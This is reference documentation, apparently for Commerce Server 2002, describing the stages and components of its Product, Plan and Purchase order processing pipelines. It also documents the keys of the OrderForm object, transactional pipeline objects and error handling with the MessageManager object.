The Product pipeline runs components that compute price and discount information for individual products. This pipeline is often used to compute information that is displayed on the page Product.asp.

The template for this pipeline is Product.pct.

The Product pipeline consists of the following stages:

  • Product Info Stage
  • Shopper Information Stage
  • Item Price Stage
  • Item Adjust Price Stage
  • Inventory Stage

Product Info Stage (Product Pipeline)

The Product Info stage contains components that retrieve product information about the items in the items list from the site database. If information about a given item cannot be retrieved, Product Info stage components mark the item for deletion by creating a delete key in the item Dictionary object, and giving it the value ""1"".

After the Product Info components have been run, the RequiredProdInfo component in the Product Info stage goes through the items list, deleting every item marked for deletion.

The following table shows the components related to this stage.

Component | Description
QueryCatalogInfo | Retrieves catalog information for every item in the order form. Uses the Commerce Server 2002 Product Catalog System. Marks missing items for deletion and adds basket errors if necessary.
QueryProdInfoADO | Runs a database query, based on the SKUs in the items list of the OrderForm object, and puts the returned data in the items collection of the OrderForm object. Marks missing items for deletion and adds basket errors as necessary.
RequiredProdInfo | Deletes items marked for deletion and writes the appropriate error messages.

Shopper Information Stage (Product Pipeline)

The Shopper Information stage adds information about the user to the OrderForm object.

The following table shows the components related to this stage.

Component | Description
DefaultShopperInfo | Copies information from the Shopper dictionary in the Context dictionary to the OrderForm object.

Item Price Stage (Product Pipeline)

The Item Price stage sets the _iadjust_regularprice key for each item in the order form.

The Item Price stage contains components that set the _iadjust_regularprice key for each item in the items list, as well as components that verify that this value has been set. If this value cannot be set, an error occurs.

This initialization ensures that the _iadjust_regularprice dictionary key entry contains the most current price information for the given SKU.

The following table shows the components related to this stage.

Component | Description
DefaultItemPriceCy, DefaultItemPrice | For each item in the items list, sets the _iadjust_regularprice key to the value stored in the _product_list_price key.
RequiredItemPriceCy, RequiredItemPrice | Ensures that the _iadjust_regularprice key is set for each item in the items list.

Item Adjust Price Stage (Product Pipeline)

The Item Adjust Price stage contains components to initialize the value of the_iadjust_currentprice key. When the stage is complete, the _iadjust_currentprice key contains the current price of the item, adjusted for sales or promotions.

If no sale or promotion component is included in this stage, the key is set to the value stored in the _iadjust_regularprice key.

After the item._iadjust_currentprice key is set for an item, the item cannot be adjusted a second time. For example, if a stage includes both an ItemPromo and a SaleAdjust component, and an item on the order form qualifies for both the promotion and the sale adjustment, the _iadjust_currentprice key of the item is set by the component that was run first within the stage. This generalization applies for any combination of Item Price Adjust stage components that you include in your pipeline.

Note

  • Do not use this stage to calculate discounts in new pipelines. Use the OrderDiscount component in the Order Adjust Price stage of the Plan pipeline. The OrderDiscount component uses the Commerce Server 2002 Targeting System to apply item and order discounts.

The following table shows the components related to this stage.

Component | Description
ItemPromo | Adjusts the value of the _iadjust_currentprice key, based on promotions.
SaleAdjust | Determines whether an item is on sale. If it is, the SaleAdjust component sets the _iadjust_currentprice key of the item to the value stored in the _product_sale_price key.
RequiredItemAdjustPriceCy, RequiredItemAdjustPrice | Verifies that the _iadjust_currentprice key exists and has a value.

Inventory Stage (Product Pipeline)

The Inventory stage contains components that verify that every item ordered is in stock.

The following table shows the components related to this stage.

Component | Description
FlagInventory | Flags items in the items SimpleList object that are out of stock.
LocalInventory | Checks the OrderForm object to ensure that an item does not require more of a given SKU than is in stock.

See Also

Plan Pipeline

Purchase Pipeline


Plan Pipeline

The Plan pipeline contains fourteen stages. These stages consist of components that verify the integrity of the OrderForm object. For example, if the items list in an OrderForm object contains no items, then the RequiredOrderCheck component in the Order Check stage generates an error.

The template for this pipeline is Plan.pct.

The Plan pipeline template consists of the following stages:

  • Product Info Stage
  • Merchant Information Stage
  • Shopper Information Stage
  • Order Initialization Stage
  • Order Check Stage
  • Item Price Stage
  • Item Adjust Price Stage
  • Order Adjust Price Stage
  • Order Subtotal Stage
  • Shipping Stage
  • Handling Stage
  • Tax Stage
  • Order Total Stage
  • Inventory Stage

Product Info Stage (Plan Pipeline)

The Product Info stage contains components that retrieve product information about items in the items list from the site database. If there is no information about an item, Product Info stage components mark the item for deletion by creating a delete key in the Item dictionary with a value of "1".

After the Product Info stage components run, the RequiredProdInfo component in the stage goes through the items list, and deletes every item marked for deletion.

The following table shows the components related to this stage.

Component | Description
QueryCatalogInfo | Retrieves catalog information for every item in the order form. Uses the Commerce Server 2002 Product Catalog System. Marks missing items for deletion and adds basket errors if necessary.
QueryProdInfoADO | Runs a database query, using Microsoft ActiveX Data Objects (ADO). This component differs from the QueryProdInfo component in that the query that it runs can take multiple parameters, and can reference a query in the QueryMap dictionary.
RequiredProdInfo | Deletes items marked for deletion and writes the appropriate error messages.

Merchant Information Stage (Plan Pipeline)

The Merchant Information stage can retrieve static merchant data and write the data to the OrderForm object. Commerce Server 2002 includes no component for this stage (other than the Scriptor component). However, you can add your own custom component to process merchant information. For more information see Building Pipeline Components.

Shopper Information Stage (Plan Pipeline)

The Shopper Information stage contains the DefaultShopperInfo component, which adds shopper information to the OrderForm object.

The following table shows the components related to this stage.

Component | Description
DefaultShopperInfo | Copies information from the Shopper dictionary in the Context dictionary to the OrderForm object.

Order Initialization Stage (Plan Pipeline)

The Order Initialization stage sets initial order information on the OrderForm object and verifies that the OrderForm object contains an order ID.

The following table shows the components related to this stage.

Component | Description
RequiredOrderInitCy, RequiredOrderInit | Initializes the payment authorization code, order ID, totals, and subtotals prior to processing the order.

Order Check Stage (Plan Pipeline)

The Order Check stage verifies that the order can be processed.

The following table shows the components related to this stage.

Component | Description
RequiredOrderCheck | Ensures that there is at least one item in the OrderForm object.

Item Price Stage (Plan Pipeline)

The Item Price stage contains components that set the _iadjust_regularprice key for each item in the items list and components that verify that this value has been set. If this value cannot be set, an error occurs.

This initialization ensures that the _iadjust_regularprice key contains the most current price information for the given item.

The following table shows the components related to this stage.

Component | Description
DefaultItemPriceCy, DefaultItemPrice | For each item in the items list, sets the _iadjust_regularprice key to the value stored in the _product_list_price key.
RequiredItemPriceCy, RequiredItemPrice | Ensures that _iadjust_regularprice key is set for each item in the items list.

Item Adjust Price Stage (Plan Pipeline)

The Item Adjust Price stage contains components to initialize the value of the _iadjust_currentprice key. When the stage is complete, the _iadjust_currentprice key contains the current price of the item, adjusted for sales or promotions.

If no sale or promotion component is included in this stage, the key is set to the value stored in the _iadjust_regularprice key.

After the item._iadjust_currentprice key is set for an item, the item cannot be adjusted a second time. For example, if a stage includes both an ItemPromo and a SaleAdjust component, and an item on the order qualifies for both the promotion and the sale adjustment, the _iadjust_currentprice key of the item is set by the component run first within the stage. This generalization applies for any combination of Item Price Adjust stage components that you include in your pipeline.

Note

  • Do not use this stage to calculate discounts in new pipelines. Use the OrderDiscount component in the Order Adjust Price stage of the Plan pipeline. The OrderDiscount component uses the Commerce Server 2002 Targeting System to apply item and order discounts.

The following table shows the components related to this stage.

Component | Description
ItemPromo | Adjusts the value of the _iadjust_currentprice key, based on promotions.
SaleAdjust | Determines whether an item is on sale. If it is, the SaleAdjust component sets the _iadjust_currentprice key of the item to the value stored in the _product_sale_price key.
RequiredItemAdjustPriceCy, RequiredItemAdjustPrice | Verifies that the _iadjust_currentprice key exists and has a value.

Order Adjust Price Stage (Plan Pipeline)

The Order Adjust Price stage contains components that set the adjusted price of each item.

The item._oadjust_adjustedprice key contains the total cost of a given item. For example, if a user purchases three items costing $5.00 each, and none of the items are discounted, the total for the item is $15.00. If two of the items are sold at the regular price, but the third is sold at half price (because of a discount), the adjusted price is $12.50.

The following table shows the components related to this stage.

Component | Description
DBOrderPromoADO | Queries the database to determine a promotion amount.
OrderDiscount | Applies scheduled discounts to the shopping basket.
RequiredOrderAdjustPriceCy, RequiredOrderAdjustPrice | Checks the _oadjust_adjustedprice key member of each item in the items collection to ensure that it is set.

Order Subtotal Stage (Plan Pipeline)

The Order Subtotal stage calculates the subtotal for an order and stores the resulting value in the _oadjust_subtotal key of the OrderForm object. The _oadjust_subtotal key is the sum of the _oadjust_adjustedprice key for all items.

The following table shows the components related to this stage.

Component | Description
DefaultOrderSubtotalCy, DefaultOrderSubtotal | Calculates the subtotal for an order and stores the result in the order._oadjust_subtotal key.
RequiredOrderSubtotalCy, RequiredOrderSubtotal | Checks the order._oadjust_subtotal key to ensure that it is not NULL.

Shipping Stage (Plan Pipeline)

This stage calculates the total shipping charge for the order and sets the order._shipping_total key accordingly. For information about how the components in this stage interact, see Shipping Objects.

The following table shows the components related to this stage.

Component | Description
DefaultShippingCy, DefaultShipping | Ensures the integrity of the OrderForm object by setting the order._shipping_total key to zero (0).
FixedShipping | Sets the order._shipping_total key to a fixed amount.
LinearShipping | Sets the order._shipping_total key by multiplying a rate by the sum of a specified value on the OrderForm object.
ShippingDiscountAdjust | Applies shipping discounts to an order. The component uses the multiple-shipment shipping architecture.
ShippingMethodRouter | Looks up and runs the components to process the shipments and calculates the shipping total for the entire order. The component uses the multiple-shipment shipping architecture.
Splitter | Divides an order into groups based on a list of item keys. The component uses the multiple-shipment shipping architecture.
TableShippingADO | Sets the order._shipping_total key to a value returned by a specified query. Uses Microsoft ActiveX Data Objects (ADO) to perform the query, and can be included in a transacted pipeline.
RequiredShippingCy, RequiredShipping | Checks the OrderForm object to ensure that the order._shipping_total key has been set.

Handling Stage (Plan Pipeline)

If handling charges are not included in the shipping charge, the Handling stage calculates the total handling charge for the order and sets the order._handling_total key accordingly.

Multiple components can be specified to allow for different handling charges depending on the handling component used. You can use the shipping components to calculate shipping and handling charges together. However, some tax systems require shipping and handling charges to be calculated and taxed separately.

This stage verifies that the order._handling_total key is set. If not, it generates an error.

The following table shows the components related to this stage.

Component | Description
DefaultHandlingCy, DefaultHandling | Assigns zero (0) to the order._handling_total key.
FixedHandling | Assigns a fixed amount to the order._handling_total key.
LinearHandling | Calculates the handling by multiplying a rate by the sum of a specified item on the OrderForm object. Assigns the value to the order._handling_total key.
TableHandlingADO | Calculates the handling based on the results of a database query and assigns the value to the order._handling_total key. Uses Microsoft ActiveX Data Objects (ADO) to perform the query and can be included in a transacted pipeline.
RequiredHandlingCy, RequiredHandling | Checks the OrderForm object to ensure that the total handling (order._handling_total key) has been set.

Tax Stage (Plan Pipeline)

The Tax stage computes the sales tax for each item in the order and the sum of tax for the entire order. The stage assigns values to the item._tax_total, order._tax_total, and order._tax_included keys accordingly. Multiple components can be specified to allow for different tax rates depending upon the destination country/region. For information about how these components interact, see Tax Objects.

The following table shows the components related to this stage.

Component | Description
DefaultTaxCy, DefaultTax | Sets the _tax_total and _tax_included keys on the OrderForm object to zero (0).
SampleRegionalTax | Calculates taxes using the multiple shipment features of Commerce Server 2002.
SimpleCanadaTax | Computes taxes for Canada, including GST (goods and services tax) and PST (provincial sales tax).
SimpleJapanTax | Computes the taxes for Japan.
SimpleUSTax | Applies a given tax rate to any order sent to a specified state.
SimpleVATTax | Computes a value-added tax (VAT) on the items.
RequiredTaxCy, RequiredTax | Checks to ensure that the _tax_total and _tax_included keys in the OrderForm object do not have NULL values.

Order Total Stage (Plan Pipeline)

The Order Total stage sums the subtotal (less any discount), tax, shipping, and handling values and assigns the total to the order._total_total key.

The following table shows the components related to this stage.

Component | Description
DefaultTotalCy, DefaultTotal | Writes the total cost of the order to the _total_total key.
RequiredTotalCy, RequiredTotal | Performs a _VERIFY_WITH check of the OrderForm object.

Inventory Stage (Plan Pipeline)

This stage verifies that every item ordered is in stock. For information about how the inventory components interact, see Inventory Objects.

The following table shows the components related to this stage.

Component | Description
FlagInventory | Flags items in the items SimpleList object that are out of stock.
LocalInventory | Checks the OrderForm object to ensure that an item does not require more of a given SKU than is in stock.

See Also

Product Pipeline

Purchase Pipeline


Purchase Pipeline

The Purchase pipeline consists of three stages. These stages use components that accept the final purchase of an order form, write an order to database storage and, optionally, finalize a receipt and write the contents of the OrderForm object to the receipt database.

The Purchase pipeline can be run after you have run an OrderForm object successfully through the Plan pipeline, and have confirmed that the user wants to finalize a purchase.

Because Purchase pipeline components write to a database, a Purchase pipeline is often a transacted pipeline.

The template for this pipeline is Purchase.pct.

The Purchase pipeline template consists of the following stages:

  • Purchase Check Stage
  • Payment Stage
  • Accept Stage

Purchase Check Stage (Purchase Pipeline)

The Purchase Check stage is typically used to verify that the address and credit card information the user provides meets certain criteria.

In the Purchase.pct template, this stage contains no components by default.

This pipeline configuration contains two Scriptor components:

  • Validate Bill_to. Verifies that each of the bill_to_* fields on the order form contain data. If not, the script gets the appropriate message from the MessageManager object, adds the error text to the error list, and returns a return value of two (2) indicating that an error occurred.
  • Validate CC Info. Verifies that each of the credit card fields on the order form contains data, and that the credit card type is one of a list of acceptable values. If not, the script gets the appropriate message from the MessageManager object and adds the error text to the error list, and returns a return value of two (2) indicating that an error occurred.

The following table shows the components related to this stage.

Component | Description
ValidateCCNumber | Performs a standard checksum test on the credit card number and checks the expiration date.

Payment Stage (Purchase Pipeline)

The Payment stage is used to approve credit card payments. It sets the order._payment_auth_code key upon credit card approval. This stage always ensures that the _payment_auth_code key is set. Otherwise, it generates a pur_bad_payment error.

If a credit card is not approved, this stage sets the _payment_auth_code key to DENIED and returns error level 2.

The details of the payment components vary depending on the third-party payment processing system used.

The following table shows the components related to this stage.

Component | Description
DefaultPayment | Assigns an initial value to the _payment_auth_code key.
RequiredPayment | Ensures that the value of the _payment_auth_code key is not NULL.

Accept Stage (Purchase Pipeline)

The Accept stage handles the completed order, including initiating order tracking, generating purchase orders, and inventory.

The following table shows the components related to this stage.

Component | Description
ExecuteProcess | Executes an application on the server with the specified arguments.
MakePO | Generates a purchase order, based on a template file.
POtoFile | Sends a purchase order (typically the result of the MakePO component) to a file.
SaveReceipt | Writes the contents of the OrderForm object to the receipt storage.
SendSMTP | Sends an e-mail message to the specified address.
SQLItemADO | Runs the specified SQL command for each item in the order with the given fields from the order and item as arguments. This component uses Microsoft ActiveX Data Objects (ADO), and can be included in a transacted pipeline.
SQLOrderADO | Runs the specified SQL command once per order, with the given fields from the order as arguments. This component uses Microsoft ActiveX Data Objects (ADO), and can be included in a transacted pipeline.

See Also

Product Pipeline

Plan Pipeline


Using the Order Processing Pipelines

The Order Processing pipelines (OPP) provide much of the functionality for a working Web site. Therefore, understanding the components and processes of OPPs will aid in the development of a high-performance Web site.

This section contains:

  • OrderForm. Describes the structure of the OrderForm dictionary and how the OPP uses the dictionary.
  • Transactions and the Order Processing Pipeline. Describes the advantages of using transacted pipeline objects and how those objects work with COM+.
  • Error Handling in Pipelines. Describes the use of the MessageManager object with pipeline objects.
  • Using an Order Log. Describes how to use logging in pipelines when designing and debugging pipelines.
  • Displaying the Contents of an Order Form. Explains how to use Microsoft Visual Basic Scripting Edition (VBScript) in a Scriptor pipeline component to display the contents of an OrderForm dictionary.
  • Sending a Purchase Confirmation by E-mail. Explains how to automatically send a purchase confirmation by e-mail when a new order is received.
  • Using the Scriptor Component. Explains when and how to use the Scriptor Component.
  • Using the ExecuteProcess Component. Explains when and how to use the ExecuteProcess Component.
  • Component Coordination. Describes how components within a pipeline stage coordinate their use of common OrderForm object keys.
  • Specifying the Basis Item Key. Describes how to specify the Basis Item key.

See Also

Shipping Objects

Inventory Objects

Tax Objects


OrderForm

The Order Processing pipeline (OPP) requires that data passed from the site to the pipeline, and from the pipeline to the site, be in an OrderForm object. This requirement applies to components included in the default OPP and to components designed to extend it.

The following figure shows an overview of the OrderForm object.

An overview of the OrderForm object.

The OrderForm object is a dictionary containing individual entries, and entries that are Dictionary and SimpleList objects. The structure makes it possible to present a detailed summary of all or part of one or more shopping sessions to the user or to the pipeline. This summary includes user data, such as name, address, and credit-card information, as well as product information related to the purchase.

The first element in the top-level Dictionary object of the OrderForm object is a reference to a SimpleList object of the items that make up the order. Each of these items is itself another Dictionary object. This SimpleList object is referred to as the items list.

The elements that make up both the order Dictionary object and the Dictionary objects in the items SimpleList object consist of a key and a value. Each component that you include in the OPP for your site is designed to operate on one or more of these keys and values. Typical operations include:

  • Key and value creation. Several components create keys and values in an OrderForm object. For example, the QueryCatalogInfo component gathers information about a product from a database, prepends _product_ to the column name, and adds the resulting key and value to the OrderForm object.
  • Key and value initialization. The Required components in the OPP fall into this category. These components check to make sure that certain keys are initialized with values, and if they are not, these components initialize them. Thus, the RequiredOrderInitCy component, which is part of the Order Initialization stage, sets the _cy_total_total, _cy_oadjust_subtotal, _cy_shipping_total, _cy_tax_total, and _cy_handling_total keys to NULL.
  • Key and value verification. The OPP fails if certain keys and values in an OrderForm object are not initialized when the pipeline is invoked. For example, the RequiredOrderInitCy component verifies that the items SimpleList object on an OrderForm object is not empty. If this SimpleList object is empty, the component returns a status that indicates failure.
  • Key and value calculation. The optional components in the OPP initialize keys and values based on the work performed by other components. For example, the components in the Tax stage calculate the tax on an order, based on the list of items in the items SimpleList object of the OrderForm object, and writes the tax to the _tax_total key.

The underscore (_) character that precedes many of the keys in the OrderForm object indicates that the key is not persisted.

Note

  • The contents of an OrderForm object can vary, depending on how the pipeline for a site is configured.

Values Commonly Used in the OrderForm Object

Referencing Items in the OrderForm Object

Modifying the OrderForm Object

Values Commonly Used in the OrderForm Object

The following table lists the typical keys in the OrderForm object, and includes a brief description of each key. Where monetary values are involved, the currency version of the dictionary key is shown. For more information about naming conventions and currency data, see Currency Overview.

Key | Definition
item._cy_iadjust_currentprice | Contains the current price of the item. Whereas the _cy_iadjust_regularprice key contains the regular price of the item, this key reflects the regular price minus any promotional discounts.
item._cy_iadjust_regularprice | Contains the regular price of the item. The DefaultItemPrice component, in the Item Price stage, initializes this key to the value in the _product_list_price key. The RequiredItemPrice component ensures that this key is initialized. Some promotional components use this key as the basis for price adjustments. For example, if an item is to be reduced by a given percentage, that percentage is based on the value stored in the_cy_iadjust_regularprice key.
item._cy_oadjust_adjustedprice | Total cost of this item. This key contains the current price of the item times the quantity, minus discounts resulting from a promotion or sale.
item._cy_tax_included | Value that indicates how much tax is included in the cost of the item.
item._cy_tax_total | Total tax for the items of this stock-keeping number (SKU).
item._n_unadjusted | Number of items of this SKU that have not participated in a promotional price reduction.
item._product_* | Contains information about items of a given SKU. The key is initialized by the QueryProdInfoADO component. The key consists of the prefix _product_ followed by the name of the database table column from which the information was retrieved.
item.cy_placed_price | The price an item had when placed in the basket. This key is used to check for price changes during a purchase.
item.delete | A flag indicating the item should be deleted from the order. This key is set by the QueryCatalogInfo component and used by the RequiredProdInfo component.
item.discounts_applied | A dictionary containing the IDs of the discounts that apply to this item. Keys are the IDs, values are the date-time stamps of the discounts. This key is used by the OrderDiscount object.
item.list_price | List price of the item.
item.quantity | Number of items of a given SKU.
order._Basket_Errors | A SimpleList object in which components in the OPP store basket error messages retrieved from the MessageManager object.
order._cc_expmonth | Month in which the provided credit card expires.
order._cc_expyear | Day on which the provided credit card expires.
order._cc_number | Credit card number for the card used to finance this purchase. By default, the SaveReceipt component, which persists other information in the OrderForm object, does not save credit card numbers.
order._cy_handling_total | Total cost for handling the order. This value is initialized by the Handling stage components (TableHandlingADO, FixedHandling).
order._cy_oadjust_subtotal | Subtotal of all the items in the items list. This value, which is initialized by the DefaultSubtotal component, represents a total of the item._cy_oadjust_adjustedprice keys for each item in the list. The item._cy_oadjust_adjustedprice key represents the total for a given item (its quantity times its list price, minus promotional discounts).
order._cy_shipping_total | Total cost for shipping the items in the OrderForm object. By default, this is the key initialized by every shipping component.
order._cy_tax_included | Value that indicates how much tax is included in the cost of the order.
order._cy_tax_total | Total tax for this order. This key is initialized by the Tax stage components. How this value is calculated depends on the Tax stage component used.
order._cy_total_total | Total cost of the order, including the order subtotal, shipping, handling, and tax. This value is initialized by the DefaultTotal component, and is verified by the RequiredTotal component.
order._payment_auth_code | Payment authorization code for the order form.
order._Purchase_Errors | A SimpleList object in which components in the OPP store purchase error messages that are retrieved from the MessageManager object.
order._Verify_With | A dictionary whose keys and values are tested against keys and values in the order form.
order.cc_name | Name that appears on the credit card used to finance the purchase. This key is initialized prior to the submission of the OrderForm object to the OPP.
order.cc_type | Type of credit card submitted. Valid types are VISA, MC, AMEX, or Discover. The ValidateCCNumber component uses this type as the basis for performing routine validation on the credit card number.
order.order_id | Unique identifier for this order.
order.shipment._cy_tax_included | Total tax for the shipment included in the cost. This is part of the multiple-shipment shipping architecture.
order.shipment._cy_tax_total | Total tax for the shipment. This is part of the multiple-shipment shipping architecture.
order.shipments | A SimpleList object of dictionaries, one dictionary per shipment. This is part of the multiple-shipment shipping architecture.
order.shipments._cy_shipping_total | The shipping totals for each individual shipment. This is part of the multiple-shipment shipping architecture.
order.shopper_id | Unique identifier for the user who submitted this order. This key is initialized prior to the submission of the order to the OPP.

The following table lists the name/value pairs of an OrderForm object and the OPP components that read from or write to the specified pair. Where monetary values are involved, the currency version of the dictionary key is shown. In the case where there are components that use only the non-currency version of the key, both forms are shown. For more information about the naming convention and currency data, see Currency Overview.

Key | Read By | Written By
item._cy_iadjust_currentprice | Not applicable | Not applicable
item._cy_iadjust_regularprice | Not applicable | Not applicable
item._cy_oadjust_adjustedprice | Not applicable | Not applicable
item._cy_tax_included | Not applicable | Not applicable
item._cy_tax_total | Not applicable | Not applicable
item._iadjust_currentprice | DbOrderPromoADO, ItemPromo, RequiredItemAdjustPrice, RequiredOrderAdjustPrice | ItemPromo, RequiredItemAdjustPrice, SaleAdjust
item._iadjust_regularprice | ItemPromo, RequiredItemAdjustPrice, RequiredItemPrice | DefaultItemPrice
item._inventory_backorder | Not applicable | FlagInventory, LocalInventory
item._n_unadjusted | DbOrderPromoADO, RequiredOrderInit | RequiredOrderInit
item._oadjust_adjustedprice | RequiredOrderAdjustPrice, SimpleCanadaTax, SimpleJapanTax, SimpleUSTax, SimpleVATTax | DbOrderPromoADO, DefaultOrderSubtotal, RequiredOrderAdjustPrice, RequiredOrderInit
item._oadjust_discount | Not applicable | RequiredOrderAdjustPrice
item._product_* | QueryProdInfoADO | Not applicable
item._product_gst | SimpleCanadaTax | Not applicable
item._product_in_stock | FlagInventory | Not applicable
item._product_jpn_tax_included | SimpleJapanTax | Not applicable
item._product_jpn_tax_rate | SimpleJapanTax | Not applicable
item._product_list_price | DefaultItemPrice | Not applicable
item._product_local_inventory | LocalInventory | Not applicable
item._product_pst | SimpleCanadaTax | Not applicable
item._product_sale_end | SaleAdjust | Not applicable
item._product_sale_price | SaleAdjust | Not applicable
item._product_sale_start | SaleAdjust | Not applicable
item._product_tax_rate | SimpleVATTax | Not applicable
item._tax_included | Not applicable | SimpleCanadaTax, SimpleJapanTax, SimpleUSTax, SimpleVATTax
item._tax_total | Not applicable | SimpleCanadaTax, SimpleJapanTax, SimpleUSTax, SimpleVATTax
item._tax_vat_item | Not applicable | SimpleVATTax
item.cy_placed_price | RequiredItemAdjustPrice | RequiredItemAdjustPrice
item.delete | RequiredProdInfo, QueryProdInfoADO | Not applicable
item.discounts_applied | Not applicable | Not applicable
item.list_price | Not applicable | Not applicable
item.quantity | DbOrderPromoADO, FlagInventory, LocalInventory, ReduceLocalInventory, RequiredItemAdjustPrice, RequiredOrderInit | RequiredOrderInit
item.sku | LocalInventory, QueryProdInfoADO, ReduceLocalInventory | Not applicable
order._Basket_Errors | Not applicable | RequiredProdInfo
order._cc_expmonth | ValidateCCNumber | Not applicable
order._cc_expyear | ValidateCCNumber | Not applicable
order._cc_number | ValidateCCNumber | Not applicable
order._cy_handling_total | Not applicable | Not applicable
order._cy_oadjust_subtotal | Not applicable | Not applicable
order._cy_shipping_total | Not applicable | Not applicable
order._cy_total_total | Not applicable | DefaultTotal, RequiredOrderInit
order._handling_total | RequiredHandling, DefaultTotal | RequiredOrderInit, DefaultHandling, FixedHandling, LinearHandling, TableHandlingADO
order._oadjust_subtotal | RequiredOrderSubtotal, DefaultTotal | DefaultOrderSubtotal, RequiredOrderInit
order._payment_auth_code | RequiredPayment | DefaultPayment, RequiredOrderInit
order._Purchase_Errors | Not applicable | FlagInventory, LocalInventory, RequiredHandling, RequiredItemAdjustPrice, RequiredOrderCheck, RequiredPayment, RequiredShipping, RequiredTotal, ValidateCCNumber
order._shipping_total | RequiredShipping, DefaultTotal | DefaultShipping, FixedShipping, LinearShipping, RequiredOrderInit, TableShippingADO
order._shopper_* | Not applicable | DefaultShopperInfo, QueryProdInfoADO
order._tax_included | Not applicable | DefaultTax, RequiredOrderInit, SimpleCanadaTax, SimpleJapanTax, SimpleUSTax, SimpleVATTax
order._tax_total | DefaultTotal | DefaultTax, RequiredOrderInit, SimpleCanadaTax, SimpleJapanTax, SimpleUSTax, SimpleVATTax
order._tax_total_gst | Not applicable | SimpleCanadaTax
order._tax_total_pst | Not applicable | SimpleCanadaTax
order._Verify_With | RequiredTotal | Not applicable
order.bill_to_* | Not applicable | Not applicable
order.cc_name | Not applicable | Not applicable
order.cc_type | ValidateCCNumber | Not applicable
order.date_changed | Not applicable | Not applicable
order.items | Not applicable | Not applicable
order.order_id | Not applicable | RequiredOrderInit
order.ship_to_city | Not applicable | Not applicable
order.ship_to_country | SimpleCanadaTax, SimpleJapanTax, SimpleVATTax | Not applicable
order.ship_to_state | SimpleCanadaTax, SimpleUSTax | Not applicable
order.ship_to_street | Not applicable | Not applicable
order.ship_to_zip | TableShippingADO, TableHandlingADO | Not applicable
order.shipment._cy_tax_included | Not applicable | Not applicable
order.shipment._cy_tax_total | Not applicable | Not applicable
order.shipments | Not applicable | Not applicable
order.shipments._cy_shipping_total | Not applicable | Not applicable
order.shipping_method | TableShippingADO, TableHandlingADO | Not applicable
order.shopper_id | Not applicable | Not applicable

Referencing Items in the OrderForm Object

Dictionary items are identified both by their names and by the section of the OrderForm object they are in. Thus, the cc_name item in the order Dictionary object is referenced as follows:

order.cc_name

Similarly, the elements of items in the items SimpleList object are prefixed with the word item:

item.SKU

This form of reference, while not necessarily technically accurate, allows for clarity of the description.

Modifying the OrderForm Object

When you pass an OrderForm object to the Order Processing pipeline (OPP), the OrderForm object must already be initialized with certain data elements.

You can modify an OrderForm object in any of the following ways:

  • By direct assignment. To initialize the shopper_id key on a page, you can make a direct assignment:
    objOrderForm.shopper_id = objPage.GetShopperID()
  • By using the native methods of the OrderForm object. The OrderForm object implements the AddItem, ClearItems, and Clear methods, which are designed to add items to the items SimpleList object, clear items from the items SimpleList object, and clear the entire OrderForm object, respectively.
  • By using the DBStorage object. The DBStorage object is designed to load a row of data from a database table into an OrderForm or Dictionary object. For more information, see DBStorage Object.


Transactions and the Order Processing Pipeline

A transaction is a series of operations performed as a single unit. In case of an error, the operations in a transaction can be undone. In the Active Server Pages (ASP) environment, transactions occur on a per-page level. To mark an ASP page as one that requires a transaction, you include the following script at the top of the ASP page:

<%@ LANGUAGE=VBScript Transaction=Required%>

When you mark an ASP page as transacted, the objects created on the page and the work those objects perform become part of the transaction, provided the objects are registered on the server as components supporting transactions. In the event of an error, the work performed by those objects can be rolled back.

Suppose, for example, that you create an ASP page that includes an object using Microsoft ActiveX Data Objects (ADO) to insert or update data in a database. In the event that this component fails, you can call the SetAbort method of the ObjectContext object to abort the transaction. This will undo all of the modifications made by the object to the database.

Note

  • In Windows 2000, the transaction support provided by Microsoft Transaction Server (MTS) is now incorporated in COM+. The COM+ transaction support provides full backward compatibility with MTS. However, COM+ provides significant extensions to transactions. For more information, search for "More on Porting Applications from MTS to COM+" on the MSDN Web site.

Calling Transacted Pipeline Objects

The Commerce Server Order Processing pipeline (OPP) supports COM+ transactions through the MtsTxPipeline and PooledTxPipeline objects. These objects are marked as requiring a transaction. If you create an MtsTxPipeline object or a PooledTxPipeline object on an ASP page not marked as requiring a transaction, there is still a transaction, but the transaction includes only the pipeline and the components it runs. To extend the transaction to all operations on the page, the page must be marked as requiring a transaction.

In either case, the transaction support of the MtsTxPipeline object and the PooledTxPipeline object provides many benefits to the site developer. Most importantly, transaction support means that if any component in an MtsTxPipeline object or PooledTxPipeline object fails, the work of the preceding components in the pipeline is rolled back, and the pipeline object ends the transaction.

The transaction support of the MtsTxPipeline object and the PooledTxPipeline object is especially useful with pipeline components that modify the site database. If you use components that modify the site database, and a component following them fails, the modifications the components made to the site database are automatically rolled back. This is true whether or not the page is transacted because, as described above, the pipeline and the components it runs are always transacted.

For more information about the transacted pipeline objects, see MtsTxPipeline Object and PooledTxPipeline Object.


Error Handling in Pipelines

Error handling in a Commerce Server 2002 Web site revolves around the interaction of the Order Processing pipeline (OPP) with the OrderForm object, the pipeline objects (MtsPipeline, MtsTxPipeline, PooledPipeline, and PooledTxPipeline), and the MessageManager object.

The OrderForm object provides a detailed, in-memory summary of one or more shopping sessions, including merchant, user, and item information. You pass an initialized OrderForm object to the OPP by calling the Execute method of the pipeline object you are using.

As the OrderForm object goes through various stages of the OPP, the components in each stage read and write values to and from the OrderForm object.

For error processing, the critical members of the OrderForm object are its _Basket_Errors and _Purchase_Errors collections. These collections store strings describing error conditions the OPP detects while processing other elements of the OrderForm object.

The _Basket_Errors collection is used to indicate inconsistencies in the order form data that should be noted whenever the basket is displayed. Basket errors are specific to items in the basket, and are used to make the customer aware of any such problem as soon as possible. One such error is that the price of a product as shown in the basket does not match the price as listed in the product database. This error might occur, for example, if the price has been changed between the time the customer put the item in the basket and the time the purchase has been completed.

The _Purchase_Errors collection applies to the order as a whole. This collection is used to indicate failures in the purchasing process, such as denial of a credit card. Purchase errors are those that would be discovered only when the customer attempts to make the purchase.

The OPP gets the error strings from the MessageManager object. The MessageManager object is the central repository of locale-based error messages for a site. Each message stored in the MessageManager object consists of a string that describes a given error condition, and a string identifier that uniquely identifies the message to the OPP. The MessageManager object creates the association between the string identifier and the string message through the AddMessage method that adds a message to the MessageManager object.

Although the string describing an error can vary from one site to the next, the string ID identifying a message does not change. For example, if the OPP is unable to validate a credit card in the OrderForm object, the pipeline attempts to retrieve the string associated with the message ID pur_bad_cc in the MessageManager object for the site. If the site developer has not associated a string with this message ID, a fatal error will cause the pipeline to stop. Otherwise, the OPP retrieves this message and writes it to the _Purchase_Errors collection in the OrderForm object. When the Execute method returns, you can examine this collection, and the strings in it can be used to provide site users with detailed descriptions of errors that occurred during order processing. For more information, see MessageManager Object.
